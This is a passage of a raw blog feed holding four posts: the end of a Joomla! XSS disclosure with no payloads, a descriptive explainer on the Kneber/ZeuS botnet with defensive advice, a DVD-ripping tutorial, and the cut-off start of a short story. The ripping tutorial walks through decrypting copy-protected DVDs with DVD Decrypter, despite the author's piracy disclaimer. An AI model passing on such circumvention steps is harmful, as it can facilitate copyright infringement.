/&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_17JNeVdiZ7k/TBYIBuQrTBI/AAAAAAAAAV0/_jNX4DRuaLE/s1600/XSS-Admin-UserManager.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 290px;" src="http://2.bp.blogspot.com/_17JNeVdiZ7k/TBYIBuQrTBI/AAAAAAAAAV0/_jNX4DRuaLE/s400/XSS-Admin-UserManager.PNG" alt="" id="BLOGGER_PHOTO_ID_5482578422061026322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_17JNeVdiZ7k/TBYIBFdmxUI/AAAAAAAAAVs/nCaXpFSVpRw/s1600/XSS-Admin-ArticleManager.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 290px;" src="http://3.bp.blogspot.com/_17JNeVdiZ7k/TBYIBFdmxUI/AAAAAAAAAVs/nCaXpFSVpRw/s400/XSS-Admin-ArticleManager.PNG" alt="" id="BLOGGER_PHOTO_ID_5482578411109401922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: trebuchet ms;"&gt;Please update your installation of Joomla! to the latest available stable release, which at the time of writing was 1.5.18.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/cgIHa2kAhpk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/8383913600538045730/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8383913600538045730?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8383913600538045730?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/cgIHa2kAhpk/multiple-joomla-xss-vulnerabilities-cve.html" title="Multiple Joomla! XSS Vulnerabilities - CVE-2010-1649" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_17JNeVdiZ7k/TBYIBxPjG6I/AAAAAAAAAV8/X_Ht8V6O3CQ/s72-c/XSS-Admin-ModuleManager.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MHRH07eyp7ImA9WxBbEkw.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-8319855059437867705</id><published>2010-02-22T01:54:00.000-08:00</published><updated>2010-03-10T03:10:35.303-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-10T03:10:35.303-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Kneber" /><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="zeus" /><category scheme="http://www.blogger.com/atom/ns#" term="tcpview" /><category scheme="http://www.blogger.com/atom/ns#" term="process monitor" /><category scheme="http://www.blogger.com/atom/ns#" term="evil" /><category scheme="http://www.blogger.com/atom/ns#" term="process explorer" /><category scheme="http://www.blogger.com/atom/ns#" term="bots" /><title>The Kneber Botnet</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The term Botnet is used to refer to a collection of software robots or bots which are automated applications that infect multiple, possibly geographically disbursed, computers. These infected computers can then be controlled remotely via a central Control and Command Center (C&amp;amp;C) which the Botnet herder sets up. Botnets are used in underground criminal activities to steal credit card information, perform Distributed Denial of Service attacks, creation or misuse of SMTP mail relays for spam, click fraud, spamdexing and the theft of application serial numbers and login IDs of personal banking accounts and online mail accounts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;While the term "botnet" can be used to refer to any group of bots, such as IRC bots, this word is generally used to refer to a collection of compromised computers (called zombie computers) running software, usually installed via drive-by downloads exploiting web browser vulnerabilities, worms, Trojan horses, or backdoors, under a common command-and-control infrastructure. This setup is remotely controlled by a Bot herder, also called as Bot master using a C&amp;amp;C via IRC channels or through Web Servers. When a botnet has become sufficiently large, criminals may try to acquire them for undisclosed but large sums of money to gain access to all the data and resulting information from the infected machines and subsequently from the networks associated with them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The Kneber botnet, discovered by NetWitness, a company that deals with network monitoring and threat analysis solutions, is a new variant of the already massive ZeuS botnet, which has reportedly compromised 75000 machines in 2500 business worldwide. The Kneber botnet is based on the older 1.2 version of ZeuS which is given away for free. ZeuS, also known as Zbot, is readily available to buy in underground forums for as little as 700 USD. The package contains a builder that can generate a bot executable and Web server files (PHP, images, SQL templates) for use as the command and control server. While ZeuS is a generic back door that allows full control by an unauthorized remote user, the primary function of ZeuS is financial gain stealing online credentials such as FTP, email, online banking, and other online passwords via keystroke logging. Zeus' current botnet is estimated to include millions of compromised computers (around 3.6 million in the United States alone). Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, and BusinessWeek.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The Kneber botnet is a relatively small botnet considering the number of compromised computers, although the number of organization and business infected is quite high. The Kneber botnet uses rootkit technologies, undocumented Windows API and other stealth techniques to hide its presence on the infected machine. The Kneber botnet infects only Windows computers and has been known to infect Windows XP Professional SP 2 machines more than any other flavors. The explanation for this could be attributed to the nature in which machines are infected. Computers at the work place can be infected via accesses to sites that cause drive by downloads, URLs of which may be received via spam mails. Also vulnerabilities in the browser (IE 6 and IE 7) and security issues in the OS itself may trigger an infection. No reports of Windows 7 computers being infected have been seen yet possibly due to the use of IE 8 and patching of critical vulnerabilities found in older versions of Windows.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Symptoms of infection may include unexplained bandwidth usage, unknown processes being created, unexplained usage of CPU and memory resources and frequent stalling of applications. The ZeuS botnet is very difficult to detect even with up-to-date antivirus software. Ironically, there are other botnets that have installers made for ZeuS, like the Trojan SpyEye, so that when it affects a computer already infected with ZeuS, it can kick out Zeus and claim the machine for itself. Of course, the computer is still a bot, just with a different Control and Command Center and Bot Herder. The Kneber botnet on the other hand is easily detected and cleaned by most antivirus programs due to its usage of the older version of ZeuS. Egress filtering on traffic at the network perimeter between internal private networks and the Internet may help detect early infection and coupled with active intrusion detection systems may protect organizations and businesses alike. Using virtual keyboards, found on the login pages of most banking applications, or the Microsoft On-Screen Keyboard (osk.exe), when entering sensitive data on even trusted sites, will help protect user identities, financial information and data confidentiality. Common utilities like TCPView, Process Monitor and Process Explorer from Sysinternals (Microsoft) will help identify Network, CPU and Memory congestion factors. It is advisable that businesses continue to train its employees to prevent them from clicking links in emails or on the web, opening malicious attachments while also keeping up with antivirus and operating system updates. Securing the operating system goes in preventing several unrelated issues as well.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/GgtPV3YEiwg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/8319855059437867705/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2010/02/kneber-botnet.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8319855059437867705?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8319855059437867705?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/GgtPV3YEiwg/kneber-botnet.html" title="The Kneber Botnet" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2010/02/kneber-botnet.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcHQngyeSp7ImA9WxNbF08.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-3625223257228792525</id><published>2009-11-20T01:26:00.000-08:00</published><updated>2009-11-20T04:27:13.691-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-20T04:27:13.691-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="torrents" /><category scheme="http://www.blogger.com/atom/ns#" term="dvdrip" /><category scheme="http://www.blogger.com/atom/ns#" term="xvid" /><category scheme="http://www.blogger.com/atom/ns#" term="700mb" /><category scheme="http://www.blogger.com/atom/ns#" term="dvd decrypter" /><category scheme="http://www.blogger.com/atom/ns#" term="tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="axxo" /><category scheme="http://www.blogger.com/atom/ns#" term="autogk" /><category scheme="http://www.blogger.com/atom/ns#" term="movie" /><category scheme="http://www.blogger.com/atom/ns#" term="compression" /><title>The 700MB DVDrip Tutorial</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;I recently bought a copy of The Lost Symbol from Indiaplaza.in. Along with the book I got the DVD of DaVinci Code free. The site really does deliver what it promises.. Any ways coming back to the real premise of this blog post, I had not seen the movie version of The DaVinci Code and from the reviews and ratings at IMDB, I had no intentions of seeing it any sooner. Yet here I was holding a DVD of DaVinci Code in my hand. I decided to give my DVDripping skills a test. Not that you require any special skills to rip a DVD into that perfect 700 MB movie that you get on torrents. Its all there on the Internet, the tools and the tutorials.. What you will need is atleast 5 GB of free space and a bit of patience.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Note that piracy in any form is illegal, Im not sure about the scenario in India, although I would advise you to buy the DVD if you like the movie. This tutorial (or blog or article or whatever you want to call it) is strictly educational. Please try not to distribute the files generated at the end of the process.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Coming back to what this is all about. You will need two programs. One is a DVD Ripping program and the other is AutoGK. I personally use DVD Decrypter because of is ease of use. VirtualDubMod is a substitute program that can be used in place of AutoGK. In fact AutoGK uses VirtualDubMod to compress and create the 700 MB avi. We shall see more of them later. For now download these tools from the following links. The Internet is abundant with these tools and a simple Google search will provide you with numerous links:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;1. DVD Decrypter: &lt;a href="http://www.mrbass.org/dvdrip/SetupDVDDecrypter_3.5.4.0.exe"&gt;http://www.mrbass.org/dvdrip/SetupDVDDecrypter_3.5.4.0.exe&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;2. AutoGK: &lt;a href="http://www.autogk.me.uk/"&gt;http://www.autogk.me.uk&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;The requirements before you begin:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;A P4 2.0 GHz or faster Windows XP and higher computer (the more the Ghz the better)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Atleast 1 GB of RAM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Atleast 5GB free&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;A DVD Drive (like duh..)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;DVD Decrypter&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;AutoGK&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Lots of patience (because the entire process can take about 2-3 hours depending on the size of the movie and the chosen settings)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Install both the tools and insert the movie DVD into the DVD drive of your computer. It would be advisable to close all open programs since this process is memory and processor intensive.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Part I [Ripping the DVD to the hard drive]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Run the DVD Decrypter program from the Desktop or the Start menu &gt; Programs&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_17JNeVdiZ7k/SwaJuwBK_aI/AAAAAAAAARk/-E9RhpvXA3E/s1600/1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://2.bp.blogspot.com/_17JNeVdiZ7k/SwaJuwBK_aI/AAAAAAAAARk/-E9RhpvXA3E/s400/1.PNG" alt="" id="BLOGGER_PHOTO_ID_5406159838961663394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;The program window shows DVD information like the Label and the Region Code Enhancement (RCE) protection status etc. You can change the destination directory where the ripped files will be kept by clicking on the small folder Icon in the Destination frame of the program window.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;On your right hand side of the program window, the list of files on the DVD will be shown. The .VOB files are the movie files and the .IFOs are information files that tell DVD players where a movie chapter begins etc. The .BUPs are backups of the .IFOs.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;The DVD may contain several IFOs, but what is important is the IFO that points to the main movie. Look carefully in the list of files on the right. The IFO that has the largest sized VOBs under it is the IFO that we will be using later. In the case of my example VTS_01_0.IFO is the IFO that we will be using later since VTS_01_1.VOB, VTS_01_2.VOB etc are the main movie files (check the file size to get an idea).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;In any case let DVD Decrypter select the main movie for you. Go to Edit &gt; Select Main movie files&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJvbqvLcI/AAAAAAAAARs/jJ-gpBz3_z4/s1600/2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 254px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJvbqvLcI/AAAAAAAAARs/jJ-gpBz3_z4/s400/2.PNG" alt="" id="BLOGGER_PHOTO_ID_5406159850678726082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJv2zFqvI/AAAAAAAAAR0/lIBCx2plweY/s1600/3.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJv2zFqvI/AAAAAAAAAR0/lIBCx2plweY/s400/3.PNG" alt="" id="BLOGGER_PHOTO_ID_5406159857961511666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Once that is done and a output folder selected, you can start the DVD Ripping process by clicking on the DVD icon on the bottom of the program window.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJwN44yhI/AAAAAAAAAR8/bO7A9C_81WM/s1600/4.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaJwN44yhI/AAAAAAAAAR8/bO7A9C_81WM/s400/4.PNG" alt="" id="BLOGGER_PHOTO_ID_5406159864159848978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Sit back and relax while DVD Decrypter does its work. The ripping process should take roundabout 10 minutes to finish.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Part II [Making the XVid Avi from the Ripped DVD]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Once the ripping is over, close DVD Decrypter and run AutoGK.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_17JNeVdiZ7k/SwaJwYzNwEI/AAAAAAAAASE/CU0px9ui07s/s1600/5.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://3.bp.blogspot.com/_17JNeVdiZ7k/SwaJwYzNwEI/AAAAAAAAASE/CU0px9ui07s/s400/5.PNG" alt="" id="BLOGGER_PHOTO_ID_5406159867088846914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Click on the input file folder icon and browse to the DVD rip folder. Select the IFO file and click open to load the IFO.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaKOEs0dLI/AAAAAAAAASM/XkzpD4fQkmw/s1600/6.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 308px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaKOEs0dLI/AAAAAAAAASM/XkzpD4fQkmw/s400/6.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160377089389746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Depending on the DVD a "Select PGC" window may be shown as follows. Select the Program Chain (PGC) that has a longer length. In my case PGC 1 had a length of 2 hours, 22 minutes, 46 seconds and 24 milliseconds.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaKOkRuIMI/AAAAAAAAASU/OKDwYEZhK7s/s1600/7.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 257px; height: 136px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/SwaKOkRuIMI/AAAAAAAAASU/OKDwYEZhK7s/s400/7.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160385565663426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Select the location of the output file by clicking on the folder icon in front of the output file text box in the main AutoGK program window. Type a name that you want the output file to have and click Save.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_17JNeVdiZ7k/SwaKPOZ7eII/AAAAAAAAASc/VMYeVDNDCEw/s1600/8.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://4.bp.blogspot.com/_17JNeVdiZ7k/SwaKPOZ7eII/AAAAAAAAASc/VMYeVDNDCEw/s400/8.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160396874381442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;In a DVD you will often find that there are multiple audio tracks, 6 channels (6ch) are better than 2chs. Make your choice of language (if applicable) and proceed to the Step 3 frame. Here you can choose the final size of the movie that will be output. The higher the size, the better the quality, but most 700 MB (1 CD size) movies are also good enough. Select a size or provide your own using the Custom Size option. In my case I selected English 6 ch audio track and a movie size of 700 MB (1 CD)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_17JNeVdiZ7k/SwaKPS7pwEI/AAAAAAAAASk/lZU8gr7kIdQ/s1600/9.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://3.bp.blogspot.com/_17JNeVdiZ7k/SwaKPS7pwEI/AAAAAAAAASk/lZU8gr7kIdQ/s400/9.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160398089568322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Click on Add job to add the current job to the programs queue and then click on Start to start the actual process.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_17JNeVdiZ7k/SwaKQI5D4bI/AAAAAAAAASs/jtn7SYKNCYo/s1600/10.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://4.bp.blogspot.com/_17JNeVdiZ7k/SwaKQI5D4bI/AAAAAAAAASs/jtn7SYKNCYo/s400/10.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160412574212530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Sit back and relax. You can actually go to sleep for an hour or 2. AutoGK will use VirtualDubMod and lame.exe to process the video and audio respectively. AutoGk will open and close several windows and it is advisable to leave the program alone till the entire process is complete and you are greeted with a Job finished log entry in the AutoGK log window.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_17JNeVdiZ7k/SwaKo37WEBI/AAAAAAAAAS0/PdpPRA5avjY/s1600/11.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://2.bp.blogspot.com/_17JNeVdiZ7k/SwaKo37WEBI/AAAAAAAAAS0/PdpPRA5avjY/s400/11.PNG" alt="" id="BLOGGER_PHOTO_ID_5406160837517119506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Now go grab some popcorn, start the movie using VLC, K-Lite or your favorite movie player and enjoy!!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/SVcugR9wiGo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/3625223257228792525/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2009/11/700mb-dvdrip-tutorial.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/3625223257228792525?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/3625223257228792525?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/SVcugR9wiGo/700mb-dvdrip-tutorial.html" title="The 700MB DVDrip Tutorial" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_17JNeVdiZ7k/SwaJuwBK_aI/AAAAAAAAARk/-E9RhpvXA3E/s72-c/1.PNG" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2009/11/700mb-dvdrip-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkENRHs8fCp7ImA9WxNXFE0.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-7302727065338950389</id><published>2009-10-01T05:40:00.000-07:00</published><updated>2009-10-01T06:44:55.574-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-01T06:44:55.574-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="delnaz" /><category scheme="http://www.blogger.com/atom/ns#" term="ranvir" /><category scheme="http://www.blogger.com/atom/ns#" term="Pain" /><category scheme="http://www.blogger.com/atom/ns#" term="rain" /><category scheme="http://www.blogger.com/atom/ns#" term="life" /><category scheme="http://www.blogger.com/atom/ns#" term="birthday" /><category scheme="http://www.blogger.com/atom/ns#" term="story" /><category scheme="http://www.blogger.com/atom/ns#" term="fiction" /><title>One Rainy Day</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:georgia;"&gt;I wrote this a year ago.. still fresh in my memories..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Everybody loves the rain. I hate it more than god would allow me to. People also love to celebrate their birthdays with lavish parties and expensive drinks and gifts. I hate the day I was born. I didn’t always hate the falling drops nor birthdays. I was a normal guy, am still now, but people don’t think so.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Traveling to work in a rickety old scooter that my father had bought on his 10th Marriage Anniversary, can be a nightmare, especially when you are working in Mumbai and its pouring outside. To add salt to the injury, my father is an optimistic and refuses to accept the fact that the scooter has all the qualifications to be called a fossil. I hate traveling by the bus. You never know a bus, carrying half the population of China, may go down the several flyovers in the city. My financial capabilities limit my rickshaw travel and the only other notion is to walk and walking 6 and a half kilometers early in the morning is not my cup of tea. Not wanting to hurt my fathers spiritual sentiments attached with the antique, I still half ride, half walk to office.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;My job is a pretty plain one. Not that I’m complaining; its not what you would expect a First Class with Hons. Electronics and Telecommunications Engineer to do, but yes I love my job. Mr. Ranaut, my boss, a moron by character, comes to my cabin everyday in the morning, throws 6 or 7 files on my desk and leaves without any logical explanation. My self esteem starts draining everyday at 9 in the morning, until the angel appears. Soft spoken and always in black she comes in exactly 6 minutes after he has left. Sabrina, or more specifically Miss Sabrina, is the love of my life. Trapped under the clutches of the ill-tempered Ranaut, she is his personal secretary. She is the only other person on this planet, after my father of course, who loves my scooter. My apprehensions abound. I 